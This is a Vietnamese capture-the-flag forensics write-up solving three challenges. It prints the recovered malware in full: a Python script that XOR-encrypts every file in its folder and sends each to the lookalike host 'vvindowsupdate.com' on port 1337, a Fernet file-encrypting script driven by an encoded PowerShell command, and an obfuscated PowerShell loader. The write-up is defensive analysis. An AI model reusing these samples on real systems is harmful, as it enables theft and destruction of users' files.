# 1337 Malware ![Screenshot 2024-05-26 184200](https://hackmd.io/_uploads/BkoElieN0.png) **Giải pháp:** * Theo như mô tả của bài , mình mở wireshark lên xem thì thấy victim đang tải xuống 1 file code python độc hại từ sever của attacker ![Screenshot 2024-05-26 184858](https://hackmd.io/_uploads/HJ-g7sxVC.png) Sau khi victim tải xuống và chạy file thử thì ta thấy ở giao thức `TCP` đang thực hiện cờ `PSH/Ack` push dữ liệu của victim về sever của attacker * Bây giờ mình sẽ lấy file .py về phân tích hành vi: ```python=1 import socket import base64 import os from random import randbytes from pwn import xor # DON'T FORGET TO CHANGE THIS TO THE REAL KEY!!!! key = randbytes(32) def encrypt(filename): f = open(filename, 'rb') data = f.read() f.close() encrypted = xor(data, key) return encrypted def send_encrypted(filename): print(f'sending {filename}') data = encrypt(filename) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('vvindowsupdate.com', 1337)) s.sendall((f'Sending: {filename}').encode()) s.close() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('vvindowsupdate.com', 1337)) s.sendall(data) s.close() def get_all_files(): file_paths = [] for root, dirs, files in os.walk(os.path.dirname(os.path.realpath(__file__))): for file in files: file_paths.append(os.path.join(root, file)) file_paths.remove(__file__) return file_paths files = get_all_files() for f in files: send_encrypted(f) #os.remove(f) ``` Phân tích: * Đại khái là: - Lặp qua các file trong thư mục của victim rồi đẩy vào hàm `send_encrypted()` rồi tiến hành mã hóa trong hàm `encrypt()` tiến hành xor data của file với 1 key ngẫu nhiêu 32 byte - Tiến hành gửi đi đường dẫn tên file và data bị mã hóa tương ứng với file đó. * Ban đầu thì mình dự tính bruteforce cái key nhưng mà thấy không khả quan lắm, mình nhận thấy điều thú vị để có thể tìm key 1 cách dễ dàng ![Screenshot 2024-05-26 192812](https://hackmd.io/_uploads/HkWlsjg40.png) * Đây chính là tệp khóa riêng được sử dụng trong SSH (Secure Shell) để xác thực người dùng với máy chủ từ xa * Tệp id_rsa thường ở định dạng PEM (Thư nâng cao quyền riêng tư), là định dạng được mã hóa base64 được bao quanh bởi -----BEGIN OPENSSH PRIVATE KEY----- và -----END OPENSSH PRIVATE KEY ----- dòng * Nên ý tưởng của mình bây giờ sẽ lấy data của file id_rsa xor với định dạng luôn có trong file là `-----BEGIN OPENSSH PRIVATE KEY-----` * Dưới đây là đoạn script lấy key: ```python=1 from pwn import xor format = b"-----BEGIN OPENSSH PRIVATE KEY-----" data_enc = "afef7e7da6970900eeab4da38833fb85f76fe6155b4224a0ed341369bbb87474afef7e5ae9e60e2bc58b2396b93584a4fe7fad316d6137a0f8307263bca66c2fe0af0611ca940d02c58854998227f497e5668704484a33a3f830726092961818c383372ae8e72b33c48b67a2b037f497e566b100484a23a0f8306a67bf99681ab38f6a1effaf7e0c96842ebf8b40d080d37ea110435824a6cf28031686ca680eda946b29dcad191defb400a2e91dfee3972daf775a42278a9224470d86d42117ebb41c33d299023ff68d21839b1bc39fe77eb73d262441afec167154cf830c3fcdf5352ac7803876ceb4178aee4281b3954fe9137d5a348ab3205a6d95857635d2883629fca10b06e5974685b60fd3a0d57fae3c3d5e01b1f80276169885292eb7862563d9800600caae14a5950f818cec70f335444a0797f7276b5b9bb92c53c5f62a1ddaa72210909d0399a01dc5a5c8669e334f3c3da8961f59518ca06d31c0872434dba47b31ebbc5bbf9024efb9e55fa03c674735b1c13c627088a20b1ec79b301fbafe461de69f19a2b007ccb0d7408075516547a9c8175f66cd853c2ee7bb353cb9e42f32f5d109868835e492e96883234b794088fb074657d1a26b16d1b41503c9ac3826fd9f01a4ec7cd0e7d312f40c437a40a5f71d50738a8e2e28f6ab1005ffb17973ead628aeb704" data_b = bytes.fromhex(data_enc) key = xor(data_b, format * (len(data_b) // len(format) + 1)) hex_key = key[:32].hex() print(hex_key) ``` key = `82c253508bd54c47a7e56decd876b5d6a427c645090b72e1b9713322fee15959` * Bây giờ tiến hành đi giải mã các file đã mã hóa thôi: - Ta thấy 1 file zip và 1 file .pdf khả nghi, mình sẽ tiến hành giải mã thôi: ![Screenshot 2024-05-26 194642](https://hackmd.io/_uploads/By1L13lER.png) ![Screenshot 2024-05-26 194652](https://hackmd.io/_uploads/S1d8J2gEC.png) * File khi giải mã: ![Screenshot 2024-05-26 194852](https://hackmd.io/_uploads/ryPT13gE0.png) Ta có thể thấy có 1 file chứa flag đang bị nén, mở ra thì yêu cầu mật khẩu * Mình check thì thấy password trong file pdf và sau khi giải mã có được: ![Screenshot 2024-05-26 195303](https://hackmd.io/_uploads/rJVaenxNA.png) Tiến hành mở ra và lấy flag thôi: **Flag:** `flag{c95c4ff18b0eb88123de779051a7a24f}` # Taking Up Residence ![Screenshot 2024-05-26 195643](https://hackmd.io/_uploads/rk1s-3eN0.png) **Giải pháp:** * Bài này cung cấp cho mình 1 file và dùng lệnh `file` check nhưng không rõ định dạng là gì: ![Screenshot 2024-05-26 195949](https://hackmd.io/_uploads/SyWdM3eN0.png) * Sau một hồi vọc vạnh trên gg thì biết được đây chính là định dạng file $MFT, tìm hiểu thêm về loại file này: - Master File Table (MFT) MFT hoặc $MFT có thể được coi là một trong những tệp quan trọng nhất trong hệ thống tệp NTFS. Nó lưu giữ bản ghi của tất cả các tệp trong một ổ đĩa, vị trí của tệp trong thư mục, vị trí vật lý của tệp trên ổ đĩa và siêu dữ liệu của tệp. * Mình sẽ dùng tool MFTECmd để chuyển file này sang dạng file excel để có thể check đường dẫn của 1 số file khả nghi cho dễ dàng: * Tiến hành mở file excel(.csv) lên để xem: - Mình sẽ tìm kiếm keyword là flag xem có gì thú vị không: - ![Screenshot 2024-05-26 202002](https://hackmd.io/_uploads/B1IzPneEC.png) - Ta thấy có 1 file tên `flag.txt` rất khả nghi nên mình sẽ check xem đường dẫn đến file đó: `/Users/User/Dowloads/flag.txt` * Bây giờ mình sẽ dùng tool `MFT explorer` vào đường dẫn trên xem có gì nào: ![Screenshot 2024-05-26 202609](https://hackmd.io/_uploads/HyYtdnl4C.png) Đây là nội dung file flag.txt nhưng dường như nó đã bị mã hóa, ngay bên dưới có 1 file rasom.py trông rất khả nghi nên mình sẽ tiến hành lấy về xem sao: ```python=1 from cryptography.fernet import Fernet import subprocess key = subprocess.run(["powershell", "-EncodedCommand", "RwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAIgByAGEAbgBzAG8AbQAuAHAAeQAiACAALQBTAHQAcgBlAGEAbQAgACIAawBlAHkAIgA="], capture_output=True, text=True).stdout.strip() print(key) with open('flag.txt', 'r') as reader: message = reader.read() f = Fernet(key) encrypted_message = f.encrypt(message.encode()) print(encrypted_message) with open('flag.txt', 'w') as writer: writer.write(encrypted_message.decode('ascii')) ``` Ta có thể thấy đây chính là source để mã hóa file `flag.txt`: Vì attacker đã dùng lệnh print để in ra key nên mình dễ dàng lấy được, Đây là key: ![Screenshot 2024-05-26 203219](https://hackmd.io/_uploads/HyPx92lVC.png) key = `62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU=` * Bây giờ mình sẽ viết đoạn script bằng python để giải mã lấy flag thôi: ```python=1 from cryptography.fernet import Fernet key = "62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU=" with open('flag_enc.txt', 'r') as reader: message = reader.read() #gAAAAABmS9s32v5Ju181EaJhh2vYMsR6MJ31SK-9mDwgiCz3_MBWopjqqynjoY_-HNOw3tX1T3RthBZHz9ylmyqckZ0gUZ_6T7UUxprMHoCAaTV3m1q0weznBg98RL7dRVhRn0cX6Xta f = Fernet(key) decrypted_message = f.decrypt(message.encode()) print(decrypted_message) with open('flag.txt', 'w') as writer: writer.write(decrypted_message.decode()) ``` **Flag:** `flag{a4096cd70d8859d38cf8e7487b4cd0fa}` # LogJam ![Screenshot 2024-05-26 203753](https://hackmd.io/_uploads/rkrBshgVC.png) * Đề cung cấp cho mình các file sau: ![Screenshot 2024-05-27 191919](https://hackmd.io/_uploads/r1aP5xMV0.png) Theo như mô tả: * Ý tưởng mình sẽ phân tích xem trong file shortcut có gì từ đó => check các log có liên quan * ![Screenshot 2024-05-27 193454](https://hackmd.io/_uploads/rJHW0lMV0.png) Hành vi của đoạn mã trên đang tải xuống file `not-malware.zip` mã độc kia và tiến hành thực thi => từ đây mình sẽ check log `Application.evtx` vì log này chịu trách nhiệm ghi lại các hành vi của phần mềm hành vi ứng dụng của người dùng * Mình sẽ tìm keyword `zip` để xem có gì đặc biệt không: ![Screenshot 2024-05-27 194339](https://hackmd.io/_uploads/ryC-l-GVC.png) Mình sẽ tiến hành lấy đoạn data này về decode xem, kết quả: ``` $u7fInY = [ChAr[]]")''nIOj-]2,11,3[eman.)'*Rdm*' elBAirav-TEg(( & |)93]rAhC[]gNIRTS[,)201]rAhC[+17]rAhC[+68]rAhC[((EcALper.)') (DnEOTdAEr.))iicsa::]gNIdoCNe.TxEt.mETSy'+'s[ , )'+')SsERpMocED::]eDOMNoISSerpMoC.NoIsSERpMOc.OI.metSYs'+'[ ,)'+'fGV=8w+2IX2i/'+'/Px+D1LdDdvgDHx0Da4rfSsissVDjqZXrXd'+'HwwgIMdd+b+'+'I2j3r4jNeKTYFX+H++mnP4L0u3sNsvJHmeAOLH88T030M0luhBzBIGCuwoZX7yZRbnbg7a174PITGc5Xlip/D/z6U5VZ7nO/APBWvIZYNhddwKDsG8A76A7fMef8'+'O6vMfncgC'+'i9gHHfQvjxq+y8Jibd+F+TdgqtK4HCOVjZg78/6RRhjg1A0YH4JIefd/ELkohlDo5GUdwKfiuZIDNFSfsr8Es9Z/T2gyyfY5K59mZ0WF/1ml58psO1MvbfWNxoNhpmDHyan05Am2y4XQm//iSEFVfHZE/Of8jPgvEPIfJ+ZwmLGNeVCUB3hMKc5n7cP713kzRx/a39WSVYB/eBqlcdk2QOQU30/PDdp9Yi3U3QRh8wg+eZu/T2XcjtA'+'3GZQ3AVQTpO6Zr2kvCRgKgVTrN7PANZe/RDBc+V8'+'EjJZgKCETT7pFpgWzmaCxrwq82DXSNNZ/FRZM'+'qDiCq2BulaQdboWAoa'+'H'+'n0EU9UD6QhrFOQRuu1yhr3lTRPcr5sjY428n3s/t5654O/iFOrvgegJUQFKfZ7RuYAQR1BPRah/TkpwdQwP7Z'+'D5HQ3rE'+'Gx'+'/KAZNGHAU9KCJBiglGYLkiq1xTF/iLXu0+kCybeHaht2u/syq0zKjeMn5vOIbvy+6mrt7/8qlTcm1'+'2CK1tomnNAb+cX6slpda2cm/tkFZfVajP/QGBalShL+o8ue/TBDiD9a+Nkx/V26O7cjU5Zx+9HW2'+'ie3y'+'FSiXK6C8TtKxk'+'T4E9fMU'+'KJgINRh32uWVr'+'JX'+'Lhyi2PAIkQJCiN1WUEqAFe/uljU8JPr4JbIqfDigSdZRClCUCfpHCrhUZY'+'4hy4ESnjVAtifBUTb/cgjdQmu/jWin+B2Wb54'+'PMHg8Oys'+'qv+'+'/Xbsn'+'67Hi5E3HcGbT78ftpLhAhuWQ7I0eCVg5pGNwVsJeiDejH/vXdKhUUdJcKbLa/Yx8mMFRqW5Wp1QhzszU2XlUqM7npZVGzssm55b4c2B5IB'+'QRZXnOiEzv/r5inQulI3WaFL0iX'+'Ij2JQ7cxOS1PXdLOEViOIqKYo93AXID8PQ+2PE4'+'s'+'9bpRVffGV (G'+'N'+'I'+'Rts46esa'+'BMOrF::]TrevNoC[]MAERTsYrOmeM.Oi'+'.meTsys[(mAErtseTALFed.nO'+'ISsErPmOc.oi.mETSy'+'s tcEjBO-weN ( (REdAerMaeRtS.oi.meTsy'+'S tcEjBO-weN ( nOIssERpXE-eKOVNi'("; [arRaY]::reverSe( ( VArIABle ('U7'+'fINY') -vA) );.( $VerbOSeprEfERencE.tOSTRing()[1,3]+'x'-JoiN'')( -JoIN( VArIABle ('U7'+'fINY') -vA) ) ``` * Có vẻ đoạn powershell này đã bị obj mình sẽ dùng tool powerdecode để deobj nó lại: ![Screenshot 2024-05-27 195107](https://hackmd.io/_uploads/Hy0T-Wz4R.png) Được 1 đoạn plaintext mã hóa base64 => đem decode lấy được flag **Flag:** `flag{ca8c288d1395689577287ba3bf2649ad}`